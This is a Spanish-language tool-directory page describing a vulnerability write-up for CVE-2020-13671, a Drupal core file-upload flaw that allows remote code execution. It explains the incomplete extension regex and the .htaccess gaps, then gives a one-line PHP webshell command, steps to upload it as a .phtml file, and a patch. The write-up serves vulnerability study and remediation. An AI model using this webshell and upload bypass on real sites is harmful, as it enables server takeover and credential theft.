Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-13671 — Análisis detallado y prueba de concepto para CVE-2020-13671, una vulnerabilidad de ejecución remota de código en Drupal core mediante la carga de archivos, incluyendo la causa raíz, los pasos de explotación y la remediación. | Kitploit
Herramientas/GitHubGitHub/dungsocool/cve-2020-13671
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

Análisis detallado y prueba de concepto para CVE-2020-13671, una vulnerabilidad de ejecución remota de código en Drupal core mediante la carga de archivos, incluyendo la causa raíz, los pasos de explotación y la remediación.

Ver Repositorio
hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-13671

RCE mediante carga de archivos — Drupal Core

Software: Drupal Core 8.7.5 (Afectadas: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alto)
CWE: CWE-434 — Carga sin restricciones de archivos con tipo peligroso
CISA KEV: Sí — Vulnerabilidad conocida explotada
Aviso: SA-CORE-2020-012


Qué es Drupal

Drupal es un sistema de gestión de contenidos (CMS) de código abierto escrito en PHP, similar a WordPress o Joomla, pero orientado a la construcción de sistemas más complejos: sitios web empresariales, plataformas multilingües. Drupal utiliza una arquitectura modular, lo que permite ampliar la funcionalidad habilitando/deshabilitando módulos disponibles o instalando otros adicionales de la comunidad.

Una de las funciones básicas de cualquier CMS es permitir a los usuarios subir archivos: avatares de perfil, documentos adjuntos, archivos adjuntos en artículos. Drupal guarda estos archivos en el directorio sites/default/files/ y los sirve directamente a través del servidor web (Apache o Nginx).

⇒ Esto crea una superficie de ataque clara: si un atacante consigue subir un archivo PHP a ese directorio, el servidor web lo ejecutará cuando se acceda a él mediante una solicitud entrante.

Para evitarlo, Drupal construye múltiples capas de defensa: validación de extensiones de archivo, renombrado de archivos peligrosos, colocación de .htaccess para bloquear la ejecución de scripts en el directorio de subida. Pero en la versión 8.7.5, los atacantes explotan exactamente el punto ciego entre estas capas.

Condiciones de explotación

Esta vulnerabilidad requiere una cuenta con permisos de carga de archivos. Por defecto en Drupal 8.7.5, los usuarios normales (Autenticados) solo tienen permisos para ver contenido y publicar comentarios: sin permiso para crear artículos ni cargar archivos.

Cuenta¿Explotable?Explicación
AdministradorSíPermisos completos de carga
Editor / Creador de contenidoSíSi se le concede el permiso "Crear contenido" con carga por administrador
Usuario autenticado (por defecto)NoPor defecto no tiene permiso para crear contenido ni cargar archivos
Anónimo (no conectado)NoSin permiso de carga

Sin embargo, en la práctica, muchos sitios Drupal conceden permisos de creación de contenido a usuarios normales (foros, blogs comunitarios, sitios de noticias que permiten envío de artículos). En esos casos, un atacante solo necesita registrar una cuenta para explotarla.

Flujo del ataque:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Causa raíz ( ROOT CAUSE )

En el archivo core/modules/file/file.module, hay una única regex que determina qué archivos se consideran ejecutables:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Esta regex enumera 7 extensiones: phar, php, pl, py, cgi, asp, js. Cualquier archivo con una extensión que coincida con esta lista será renombrado automáticamente añadiendo .txt por Drupal, neutralizando la capacidad de ejecución.

Sin embargo, el motor PHP no solo procesa archivos .php. Dependiendo de la configuración del servidor web, también reconoce y ejecuta otras extensiones:

ExtensiónSignificado¿Incluida en la regex?
.phpPHP estándarSí
.phtmlPlantilla alternativa de PHPNo
.php5Manejador de PHP 5No
.phtPlantilla PHPNo
.phpsCódigo fuente PHPNo
.shtmlServer-Side IncludesNo

5 variantes de extensión de PHP están completamente ausentes de la regex. Esto significa que un archivo llamado shell.phtml enviado a Drupal → la regex no coincide → no se renombra → se guarda con su nombre original en el directorio de subida → el servidor web ve .phtml → lo ejecuta como PHP → el atacante consigue RCE. Esta es la causa raíz: Drupal usaba una lista negra para bloquear extensiones peligrosas, pero esa lista estaba incompleta.

Análisis de cada capa de defensa

Cuando un usuario sube un archivo, Drupal lo pasa por 3 funciones de validación antes de guardarlo. A continuación se analiza por qué las 3 fallan con .phtml.

Capa 1 — file_munge_filename() (core/includes/file.inc)

Propósito: detectar extensiones peligrosas ubicadas en el medio del nombre de archivo y añadir _ para alterarlas. Cómo funciona la función:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Por ejemplo con shell.phtml:

  • explode divide en ["shell", "phtml"]
  • shift toma "shell", dejando ["phtml"]
  • pop toma "phtml", dejando []
  • El array del medio está vacío → foreach no se ejecuta
  • Devuelve "shell.phtml" intacto

Sin embargo, si el archivo solo tiene una única extensión, no interviene. Por lo tanto, esta función está diseñada únicamente para manejar archivos con múltiples extensiones.

Capa 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

Esta es la capa de defensa principal. Código en la línea 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Si el nombre de archivo coincide con la regex → cambiar MIME a text/plain y añadir .txt al final.

Con shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') devuelve 0
  • No coincide → no entra en el bloque if → el archivo conserva su nombre original Por lo tanto, esta sección debería haber bloqueado archivos peligrosos, pero como la regex no sabe que .phtml es peligroso, se cuela directamente.

Capa 3 — .htaccess en el directorio de subida

Drupal coloca un archivo .htaccess en sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

La directiva php_flag engine off desactiva el motor de PHP para todo el directorio, pero solo se aplica a mod_php5. Drupal 8.7.5 se ejecuta en PHP 7, lo que significa que mod_php7 está activo y no desactivado.

Y .htaccess también tiene otras 3 debilidades:

  • Nginx no lee .htaccess — este archivo es completamente ineficaz en Nginx
  • Apache configurado con AllowOverride None → se ignora .htaccess
  • Servidores que usan PHP-FPM en lugar de mod_php → la directiva php_flag no tiene efecto

Explotación

Paso 1 — Crear la webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Paso 2 — Subir el archivo

Inicia sesión en Drupal con una cuenta que tenga permisos de carga → Contenido → Añadir contenido → Artículo → en el campo Imagen, selecciona el archivo webshell.phtml → Subir.

Drupal acepta el archivo, no lo renombra y lo guarda con su nombre original en sites/default/files/.

image.png

Paso 3 — Ejecutar la webshell

Después de eso, ejecuta la llamada al shell con whoami:

image.png

Por lo tanto, hemos conseguido RCE como www-data.

Probando más a fondo para ver las credenciales:

image.png

Resultado

El atacante puede leer settings.php, que contiene las credenciales de la base de datos, volcar toda la BD, instalar una reverse shell o escalar privilegios hasta root.

Remediación

Actualizar la regex — añadir las 5 extensiones que faltan:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

Actualizar .htaccess — añadir la desactivación para mod_php7:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

El parche funciona, pero sigue dependiendo de una lista negra. Si en el futuro surgen nuevas extensiones (.php8, .phpt), habrá que actualizar la regex de nuevo. La lista blanca — permitir solo extensiones conocidas y seguras — sería un enfoque más riguroso.

Resumen

Archivo vulnerablecore/modules/file/file.module línea 28
Causa raízLa lista negra de la regex no incluye .phtml, .php5, .pht, .phps, .shtml
ImpactoSubir .phtml → el servidor lo ejecuta → RCE
3 capas de defensa evadidasfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
ParcheAñadir 5 extensiones a la regex + desactivar mod_php7 en .htaccess
Descargar herramienta